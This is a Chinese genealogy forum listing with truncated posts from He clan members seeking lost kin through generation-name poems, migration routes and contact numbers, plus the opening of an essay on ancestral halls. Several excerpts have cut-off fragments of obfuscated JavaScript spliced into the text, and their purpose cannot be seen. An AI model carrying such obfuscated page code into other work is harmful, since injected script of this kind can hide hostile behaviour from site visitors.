信宜何氏寻找翁源，始兴，连平等附近县区，在约1200年左右祖上有德字辈的宗亲。从上述地区迁来信宜的宗亲现在繁衍数量庞大，族谱记载祖上始祖来自翁源兴仁里，德文为翁源始祖。按谱记载是：万九郎→志广→“宗藩”或是“宋藩”“宗发”→德文，接下是秉坚、秉承等。 如有在粤西北地区宗亲发现族谱祖上有记载上述线索请联系：微信号：zhongyu168 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358] ......[点击阅读详情]

我是四川的，正在续修新谱书。具我老谱书记截：我支有多位老祖人流落他乡，在此诚欲寻回老祖仙的后裔，让他们的子孙与我们合谱方为一大幸事。各位老祖先的名字分别为：何思湛（思）字辈；明字辈的有：何明斗，何明坤，何明伸，何明兴，何明珠，何明瑚，何明珝；正字辈的何正開，这几位老祖人具老谱记截是迁到云南省五街铺，（又有口传是云南小槽）2019年4月份我等一行三人曾开车到镇雄，沼通，威信等多处寻找无果反回。今又借助网络平台寻找，但愿这些祖人的后裔见到此贴子迅与我们联系方属幸事，我们的老字辈县：玺 ......[点击阅读详情]

我们的字辈是:”应登世永昌，洪文德丙光，学成妻国治，修德定家邦，流秀全如意，少起送民良”。（听老人们说：祖籍是江西，不知何年何月从江西哪里迁到贵州省安顺市七百房，在一百多年前从贵州省安顺市七百房搬到今天关岭县坡贡镇兴姜村斗磨组，由于过去贫穷，世乱，家谱早就就搞掉了，据说，”应登世朝”这几个字辈是对的，后面”永昌”之后的字辈是请后辈人重新改的，根据祖宗牌上记载：从贵州安顺市七百房搬到贵州省安顺市关岭县坡贡镇斗磨组最早的叫朱成明，据说是接到朱家长大的 ......[点击阅读详情]

​广东永安丰湖村排的是念四郎公(源美公)十六世孙起发一达荣一兴一大一朝入川后1999年排的是家一声一克一振一世一泽一维一新(我们这支是源美公三子文深公一德贵公可以查到源美公七世孙伯坚公之后、伯坚公至我入川一世祖发琏公是第九代、发链公至我辈声字辈是第八代’、寻广东伯坚公之后超群、超祥公一洋生、湘生公及发字辈入川的宗亲。天下何姓本一家、兴我家道、强我中华、望广大宗亲支持 18982427357微信同号 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2 ......[点击阅读详情]

广东省信宜市朱砂镇安莪何氏 “由福建迁韶关翁源再迁西宁（今郁南）豆豉坳，后迁信宜市安莪镇安莪石塘村（现属朱砂镇） 1世:大郎公（福建一世始祖） 2世:五郎公 3世:十六郎 4世:三十郎 5世:六一郎 6世:伯九郎 7世:万九郎 8世:志广 9世:宋{宗}蕃 10世:德文（翁源一世始祖） 11世:秉坚 12世:法成 13世:富明 14世:谱记 15世:万恩 广东省信宜市朱砂镇安莪何氏字辈排列如下: 16世:有龙{安莪开基祖} 寻找万九郎以下的字辈宗亲，如有同字辈的或知道这些字辈的请联系本人，谢谢！ 联系电话:15875882012 联 系 人:何家权& ......[点击阅读详情]

—— 寻广东龙川迁四川(重庆)何氏宗亲 —— 迁出地原址: 广东省惠州府龙川县平越约上保乡嶂下山上围管坭坑 迁出地现址: 广东省河源市龙川县岩镇联城何屋村 迁出地开基始祖: 十一世万英公，何法英讳万英，妣温氏，原籍嘉应州兴宁县黄陂镇赤岭下，于清初迁入龙川县平越约，后裔繁衍至二十五世。  万英公后裔迁四川（重庆）吋间: 按时间推算约为清朝康熙乾隆年间，应该是湖广填四川时期。 前辈口述相传的往事: 迁四川的宗亲于解放后送过一块牌匾到祖屋，此后中断了联络。 「十一世祖万英公世系」始祖: 念四郎，讳铨，字源美 ......[点击阅读详情]

寻找100年前四川蓬溪何家坝迁往汉中勉县新街子镇老何家宗亲后裔 应金公后人…其贯公迁陕西汉中府。 禄書公后人一顺公…迁陕西汉中府新街子。 其祚公后人…一贯公，一明公迁陕西汉中。 其祐公后人…一成公，一谦公迁陕西汉中。 一猷公…迁陕西汉中府。 有发公有禄公…迁陕西汉中。 有堂公，有陆公，有言公…迁陕西汉中府新街子 凡有这几个字辈:荣，奎，梦，中，水，鸣，居，其，一，有，廷，世，德…的何姓宗亲请联系我 有汉中朋友群的至爱亲人请多转发 何思敏18109408883 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d1 ......[点击阅读详情]

各位何氏宗亲大家好，我叫何怀军，家住湖南永州新田三井镇大山铺村。祖上是从衡州清泉南乡二十八都五区白毛何迁出，到现居地的始迁祖为何世化。由于族谱已丢失，只有传承下来的字辈：“世德啟贤天盛义国”。不知道现在的清泉南乡二十八都五区白毛何是在哪里？如有知情者请与我联系，万分感谢！ 联系电话：18797662565 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388 ......[点击阅读详情]

寻找失散族人 湖南衡阳九九堂 （一）山田房：乾隆年间，移民四川忠州、凉山的族人。 查清朝康熙年间移四川忠州屯四甲汝溪滩马畔桥一支，其字辈名其任，字又尹，配易氏，生子啸昌(金纹)、纭昌(金相)二子。金纹移梁山县胡炉坝，金相配蒋氏生四子：世勋、世憝、世熊、世熙。世勋名吉祥，配沈氏，住江西桥；生子晋衡，名人参，配戴氏；生子景田，世熙，名心教，配文氏，住开县南门场，生子景庥。 （二）山田房： 湘潭市周边，原居湘潭眭家冲八都十甲，潮公派下十二代祖文敬公嗣孙、及原居湘潭九都四甲杨家湾其泽名绍周的 ......[点击阅读详情]

传统祠堂文化与现今的大约的过程 ——撰稿人：何飘 祠堂，尚有宗庙、家庙、祖庙、私庙、墓祠、家祠、宗祠、祖祠、庙祠、寺庙、食堂、斋祠、宫室等称呼，是我国农村普遍存在的、凝结了中华民族伟大智慧结晶的一种特殊古老建筑。在历史上它是朝拜祖先、家族议事、继承传统、团结家族的一个非常神圣的聚集场所。 风格古雅、气势宏伟的祠堂建筑，是中华民族历时数千年之久的伟大创造，也是中国传统文化深层内涵的重要表征。作为中国保存最多的一种古建筑群体，祠堂承载着许多珍贵的历史文化信息，直接体现了中华民族的血缘 ......[点击阅读详情]